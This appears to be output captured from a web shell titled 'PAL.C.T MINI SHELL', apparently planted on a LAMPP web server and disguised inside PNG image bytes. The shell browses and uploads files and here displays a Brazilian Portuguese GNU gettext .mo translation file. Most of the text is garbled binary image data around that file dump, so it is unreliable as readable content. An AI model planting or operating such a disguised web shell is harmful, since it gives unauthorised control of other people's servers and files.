‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/locale/pt_BR/LC_MESSAGES/
upload
files >> //opt/lampp/share/locale/pt_BR/LC_MESSAGES/gettext-tools.mo

Þ•A$Y,‘,™ Æ3ç/+KTw.Ì4û?0!p’&šÁÖæ><C8€6¹<ð:-	$h		*¬	;×	
0
M
g
$
$¦
Ë
ä
.!"P#s*—Â5ßG,t¨½Óä

7
K
`
|
‹
+›
*Ç
'ò
-8G!€1¢ÅÔš-£!Ñ5ó/)*Ye„Cê9.Mh¶Ö+Þ
'8'W('¨(Ð+ù,%0R.ƒ6²Mé7!Wy“«*Ëö%%0K(|7¥4Ý.9A{J“Þû8Q#fЍ&È"ï 3B3O0ƒ2´çý<&Y7€>;):2&?4#5A"8<6-1 /

%$+*(='	.@,309!7 done.
%d translated message%d translated messages%s and %s are mutually exclusive%s: warning: source file contains fuzzy translation%s:%d: warning: unterminated character constant%s:%d: warning: unterminated string literal%sRead %ld old + %ld reference, merged %ld, fuzzied %ld, missing %ld, obsolete %ld.
, %d fuzzy translation, %d fuzzy translations, %d untranslated message, %d untranslated messages--join-existing cannot be used when output is written to stdout...but this definition is similar<stdin>Try `%s --help' for more information.
Unknown system errorWritten by %s.
`domain %s' directive ignored`msgid' and `msgid_plural' entries do not both begin with '\n'`msgid' and `msgid_plural' entries do not both end with '\n'`msgid' and `msgstr' entries do not both begin with '\n'`msgid' and `msgstr' entries do not both end with '\n'`msgid' and `msgstr[%u]' entries do not both begin with '\n'`msgid' and `msgstr[%u]' entries do not both end with '\n'at least two files must be specifiedcannot create output file "%s"domain name "%s" not suitable as file namedomain name "%s" not suitable as file name: will use prefixduplicate message definitionempty `msgstr' entry ignoredend-of-file within stringend-of-line within stringerror while opening "%s" for readingerror while opening "%s" for writingerror while reading "%s"error while writing "%s" fileexactly 2 input files requiredfile "%s" contains a not NUL terminated stringfile "%s" is not in GNU .mo formatfirst plural form has nonzero indexfound %d fatal errorfound %d fatal errorsfuzzy `msgstr' entry ignoredimpossible selection criteria specified (%d < n < %d)inconsistent use of #~internationalized messages should not contain the `\%c' escape sequenceinvalid control sequenceinvalid multibyte sequencekeyword "%s" unknownlanguage `%s' unknownmemory exhaustedmissing `msgid_plural' sectionmissing `msgstr' sectionmissing `msgstr[]' sectionno input file givenno input files givenplural form has wrong indexstandard inputstandard outputthis file may not contain domain directivesthis message is used but not defined in %sthis message is used but not defined...too many argumentstoo many errors, abortingwarning: file `%s' extension `%s' is unknown; will try Cwarning: this message is not usedxgettext cannot work without keywords to look forProject-Id-Version: GNU gettext 0.10.36
Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org
POT-Creation-Date: 2010-06-04 01:57+0200
PO-Revision-Date: 2001-04-03 08:25+02:00
Last-Translator: Flávio Bruno Leitner <flavio@conectiva.com.br>
Language-Team: Brazilian Portuguese <ldp-br@bazar.conectiva.com.br>
Language: pt_BR
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n > 1);
 feito.
%d mensagem traduzida%d mensagens traduzidas%s e %s são mutuamente exclusivos%s: aviso: arquivo fonte contém traduções aproximadas%s:%d: aviso: caractere constante indeterminado%s:%d: aviso: string literal indeterminada%sLido %ld antigas + %ld referência, concatenadas %ld, aproximadas %ld, perdidas %ld, obsoletas %ld.
, %d tradução aproximada (fuzzy), %d traduções aproximadas (fuzzy), %d mensagem não traduzida, %d mensagens não traduzidas--join-existing não pode ser usado enquanto a saída é escrita na saída padrão...mas esta definição é similar<stdin>Tente `%s --help' para maiores informações
Erro de sistema desconhecidoEscrito por %s.
`domain %s': diretiva ignorada`msgid' e `msgstr' não começam com '\n'`msgid' e `msgstr' não terminam com '\n'`msgid' e `msgstr' não começam com '\n'`msgid' e `msgstr' não terminam com '\n'`msgid' e `msgstr[%u]' não começam com '\n'`msgid' e `msgstr[%u]' não terminam com '\n'pelo menos dois arquivos devem ser especificadosnão foi possível criar o arquivo de saída "%s"nome do domínio "%s" não é válido como nome de arquivonome do domínio "%s" não é válido como nome de arquivo: será usado um prefixodefinição duplicada de mensagem`msgstr' vazia: mensagem ignoradafim de arquivo sem stringfim de linha sem stringerro ao abrir "%s" para leituraerro ao abrir o arquivo "%s" para gravaçãoerro ao ler "%s"erro ao gravar o arquivo "%s"são necessários 2 arquivos de entradaarquivo "%s" contém string não terminada em NULLarquivo "%s" não está no formato GNU .moprimeira forma em plural tem o índice diferente de zeroencontrado %d erro fatalencontrados %d erros fatais`msgstr' aproximada (fuzzy): mensagem ignoradacritério de seleção especificado impossível (%d < n < %d)uso inconsistente de #~mensagens internacionalizadas não devem conter o caractere de escape `\%c'seqüência de controle ilegalsequência multibyte inválidopalavra chave "%s" desconhecidaidioma `%s' desconhecidoMemória insuficienteseção `msgid_plural' não localizadaseção `msgstr' não localizadaseção `msgstr[]' não localizadanão foi informado o arquivo de entradaarquivos de entrada não informadosforma plural tem o índice erradoentrada padrãosaída padrãoeste arquivo parece não conter diretivas de domínioesta mensagem é utilizada mas não definida em %sesta mensagem é utilizada, mas não foi definida...excesso de parâmetrosexcesso de erros - finalizandoaviso: arquivo `%s' extensão `%s' é desconhecida; tentarei Catenção: esta mensagem não é utilizadaxgettext não pode funcionar sem as teclas para procurar
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚